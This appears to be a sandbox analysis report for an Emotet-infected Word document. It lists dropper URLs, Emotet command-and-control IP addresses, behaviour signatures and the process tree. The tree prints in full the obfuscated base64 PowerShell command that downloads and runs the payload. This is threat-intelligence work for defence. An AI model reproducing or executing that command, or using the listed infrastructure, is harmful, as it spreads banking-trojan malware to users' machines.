Overview

overview

10

Static

static

8

file 2020_...33.doc

windows7_x64

10

file 2020_...33.doc

windows10_x64

10

Analysis

  • max time kernel
    73s
  • max time network
    106s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    04/09/2020, 14:58

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    file 2020_09_04 033.doc
  • Size 122KB
  • Sample200904-rb5tph6pmx
  • SHA256 ac6a5c2f72c10af857d73db327000d07f01f791fe6638c339362584fe1293a4f
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://must-in.com/wp-admin/Q/
  • exe.dropper

    http://maximumwebimpact.com/test/rL9/
  • exe.dropper

    http://aldama.com/www/jkm/
  • exe.dropper

    http://www.bismarjeparamebel.com/wp-includes/SX/
  • exe.dropper

    http://staniszczak.net/cpf/F/
  • exe.dropper

    http://sriharshampromoters.com/sriharshaptr/8/
  • exe.dropper

    https://twisterprint.com/stats/KsU/

Extracted

Family

  • emotet

C2

  • 185.215.227.107:443

  • 51.38.124.206:80

  • 38.88.126.202:8080

  • 54.37.42.48:8080

  • 172.104.169.32:8080

  • 68.183.190.199:8080

  • 187.162.248.237:80

  • 82.76.111.249:443

  • 184.66.18.83:80

  • 190.6.193.152:8080

  • 77.238.212.227:80

  • 199.203.62.165:80

  • 188.2.217.94:80

  • 185.94.252.12:80

  • 178.250.54.208:8080

  • 206.15.68.237:443

  • 65.36.62.20:80

  • 216.47.196.104:80

  • 219.92.8.17:8080

  • 213.60.96.117:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\file 2020_09_04 033.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1108
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABIAGoAZQBpAHAAYQBnAD0AKAAnAFYAJwArACgAJwB4ADYAYQAnACsAJwBqAHAAMwAnACkAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAVQBTAEUAUgBQAHIATwBGAEkATABFAFwASgBMAHQAOABMADEANgBcAFMAeQBXAFMARgBLADgAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIAZQBjAFQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBjAHUAYABSAEkAYABUAHkAUAByAE8AdABgAE8AYwBPAEwAIgAgAD0AIAAoACgAJwB0AGwAcwAnACsAJwAxADIALAAgAHQAbAAnACkAKwAoACcAcwAxACcAKwAnADEAJwApACsAKAAnACwAIAB0ACcAKwAnAGwAJwApACsAJwBzACcAKQA7ACQAUQBjADcANwBrAGMAcwAgAD0AIAAoACcAVQAnACsAJwB6AHcAJwArACgAJwBrACcAKwAnAG8ANQBnACcAKwAnAHoAMAAnACkAKQA7ACQARwAwAGwAdABiAG4AZgA9ACgAKAAnAFAAYQAwACcAKwAnAGsAJwApACsAJwBiACcAKwAnAG4AZQAnACkAOwAkAEsANABxADAAdwA4AGEAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAeQAnACsAKAAnAGgAYQBKAGwAJwArACcAdAA4AGwAMQAnACsAJwA2AHkAJwApACsAJwBoACcAKwAoACcAYQBTAHkAdwAnACsAJwBzACcAKQArACcAZgAnACsAJwBrACcAKwAoACcAOAB5ACcAKwAnAGgAYQAnACkAKQAtAEMAcgBFAFAAbABhAGMAZQAgACgAWwBDAGgAQQBSAF0AMQAyADEAKwBbAEMAaABBAFIAXQAxADAANAArAFsAQwBoAEEAUgBdADkANwApACwAWwBDAGgAQQBSAF0AOQAyACkAKwAkAFEAYwA3ADcAawBjAHMAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABCAHoANwA1AHoAawA3AD0AKAAnAFIAJwArACgAJwBxAHoAJwArACcAeAA5AHEAYwAnACkAKQA7ACQARgBhADMAdABiADcAMAA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAATgBFAHQALgB3AGUAYgBDAEwASQBlAG4AVAA7ACQAVgA2ADUAcwBkAGYAbAA9ACgAKAAnAGgAJwArACcAdAB0AHAAOgAnACsAJwAvAC8AbQAnACkAKwAoACcAdQBzAHQALQAnACsAJwBpACcAKQArACcAbgAnACsAJwAuACcAKwAnAGMAbwAnACsAKAAnAG0ALwB3ACcAKwAnAHAAJwApACsAKAAnAC0AYQAnACsAJwBkACcAKwAnAG0AaQAnACsAJwBuAC8AUQAvACoAaAAnACkAKwAoACcAdAAnACsAJwB0AHAAJwApACsAKAAnADoALwAvACcAKwAnAG0AJwApACsAKAAnAGEAeABpAG0AJwArACcAdQBtAHcAZQBiACcAKQArACcAaQAnACsAKAAnAG0AcAAnACsAJwBhAGMAdAAnACkAKwAoACcALgBjACcAKwAnAG8AbQAvACcAKQArACcAdABlACcAKwAoACcAcwB0ACcAKwAnAC8AcgAnACkAKwAoACcATAA5AC8AJwArACcAKgAnACsAJwBoAHQAJwApACsAJwB0ACcAKwAnAHAAJwArACcAOgAvACcAKwAoACcALwAnACsAJwBhAGwAZABhACcAKQArACcAbQAnACsAJwBhACcAKwAnAC4AJwArACgAJwBjACcAKwAnAG8AbQAvAHcAJwArACcAdwAnACkAKwAoACcAdwAvAGoAawBtAC8AJwArACcAKgBoACcAKwAnAHQAJwApACsAKAAnAHQAcAAnACsAJwA6ACcAKQArACgAJwAvAC8AJwArACcAdwB3ACcAKQArACcAdwAnACsAKAAnAC4AYgAnACsAJwBpAHMAJwApACsAJwBtAGEAJwArACcAcgAnACsAKAAnAGoAZQAnACsAJwBwACcAKQArACgAJwBhAHIAJwArACcAYQBtACcAKQArACgAJwBlAGIAZQBsAC4AYwBvACcAKwAnAG0ALwAnACkAKwAoACcAdwAnACsAJwBwAC0AaQBuACcAKQArACcAYwAnACsAKAAnAGwAdQBkACcAKwAnAGUAcwAvACcAKQArACgAJwBTAFgALwAnACsAJwAqACcAKQArACgAJwBoAHQAdAAnACsAJwBwADoALwAnACsAJwAvACcAKQArACgAJwBzAHQAYQAnACsAJwBuAGkAJwApACsAJwBzACcAKwAnAHoAYwAnACsAKAAnAHoAJwArACcAYQBrACcAKQArACgAJwAuAG4AZQB0ACcAKwAnAC8AYwAnACkAKwAoACcAcAAnACsAJwBmAC8AJwApACsAJwBGAC8AJwArACgAJwAqAGgAdAB0AHAAJwArACcAOgAnACkAKwAnAC8AJwArACcALwAnACsAKAAnAHMAcgAnACsAJwBpAGgAYQByACcAKQArACgAJwBzAGgAYQBtACcAKwAnAHAAcgAnACkAKwAnAG8AbQAnACsAKAAnAG8AdABlACcAKwAnAHIAcwAnACkAKwAnAC4AJwArACgAJwBjACcAKwAnAG8AbQAnACsAJwAvAHMAcgBpAGgAYQAnACkAKwAoACcAcgAnACsAJwBzAGgAJwApACsAKAAnAGEAcAAnACsAJwB0AHIALwAnACkAKwAoACcAOAAvACoAaAAnACsAJwB0ACcAKQArACcAdAAnACsAKAAnAHAAcwAnACsAJwA6AC8ALwAnACsAJwB0AHcAaQBzAHQAZQByACcAKwAnAHAAJwArACcAcgBpACcAKQArACgAJwBuAHQALgAnACsAJwBjAG8AbQAnACkAKwAnAC8AcwAnACsAKAAnAHQAYQB0AHMAJwArACcALwBLAHMAJwApACsAJwBVACcAKwAnAC8AJwApAC4AIgBzAFAAYABMAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEgAOQAyAGkAdwBsAHYAPQAoACgAJwBXAHoAJwArACcANgAzACcAKQArACcAOAAnACsAJwB0AHkAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAWQBsAGYAMAB2ADgAMQAgAGkAbgAgACQAVgA2ADUAcwBkAGYAbAApAHsAdAByAHkAewAkAEYAYQAzAHQAYgA3ADAALgAiAGQAYABvAFcAbgBsAE8AYQBEAGAARgBpAGAATABlACIAKAAkAFkAbABmADAAdgA4ADEALAAgACQASwA0AHEAMAB3ADgAYQApADsAJABFADMAMwBzADQAZQA0AD0AKAAnAEIAdgAnACsAKAAnADUAdwB5AHMAJwArACcAeQAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdAAnACsAJwBlAG0AJwApACAAJABLADQAcQAwAHcAOABhACkALgAiAEwAZQBuAGAARwB0AGgAIgAgAC0AZwBlACAAMgAyADcANQA3ACkAIAB7ACYAKAAnAEkAbgAnACsAJwB2AG8AawBlAC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAKAAkAEsANABxADAAdwA4AGEAKQA7ACQATgBhAGQAdwA3AF8AMwA9ACgAKAAnAEsAMAAnACsAJwBhAHEAJwApACsAJwBlACcAKwAnADQAZgAnACkAOwBiAHIAZQBhAGsAOwAkAEwAcgBmAHoAdgB4AGYAPQAoACgAJwBVAGcAJwArACcAYgByACcAKQArACcAXwAnACsAJwA1AG0AJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABTADUAbwB0AHYAeABrAD0AKAAnAFoAbwAnACsAJwBvACcAKwAoACcAZgA0AHQAJwArACcAMAAnACkAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1600
    • C:\Users\Admin\Jlt8l16\Sywsfk8\Uzwko5gz0.exe
      "C:\Users\Admin\Jlt8l16\Sywsfk8\Uzwko5gz0.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1952
      • C:\Windows\SysWOW64\ieetwproxystub\TimeDateMUICallback.exe
        "C:\Windows\SysWOW64\ieetwproxystub\TimeDateMUICallback.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:960

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/848-24-0x000007FEF7770000-0x000007FEF79EA000-memory.dmp
        Download

        memory/960-22-0x00000000002E0000-0x00000000002ED000-memory.dmp
        Download

        memory/1108-3-0x0000000006E90000-0x0000000007090000-memory.dmp
        Download

        memory/1108-4-0x0000000006E90000-0x0000000007090000-memory.dmp
        Download

        memory/1108-5-0x000000000AE10000-0x000000000AE14000-memory.dmp
        Download

        memory/1108-6-0x0000000006E90000-0x0000000007090000-memory.dmp
        Download

        memory/1108-7-0x0000000006E90000-0x0000000007090000-memory.dmp
        Download

        memory/1108-2-0x0000000008990000-0x0000000008994000-memory.dmp
        Download

        memory/1600-12-0x0000000001F70000-0x0000000001F71000-memory.dmp
        Download

        memory/1600-14-0x000000001C410000-0x000000001C411000-memory.dmp
        Download

        memory/1600-13-0x000000001ABA0000-0x000000001ABA1000-memory.dmp
        Download

        memory/1600-11-0x00000000023D0000-0x00000000023D1000-memory.dmp
        Download

        memory/1600-10-0x000000001ACC0000-0x000000001ACC1000-memory.dmp
        Download

        memory/1600-9-0x0000000001EA0000-0x0000000001EA1000-memory.dmp
        Download

        memory/1600-8-0x000007FEE9200000-0x000007FEE9BEC000-memory.dmp
        Download

        memory/1952-17-0x0000000000360000-0x000000000036D000-memory.dmp
        Download

        memory/1952-18-0x0000000000370000-0x000000000037C000-memory.dmp
        Download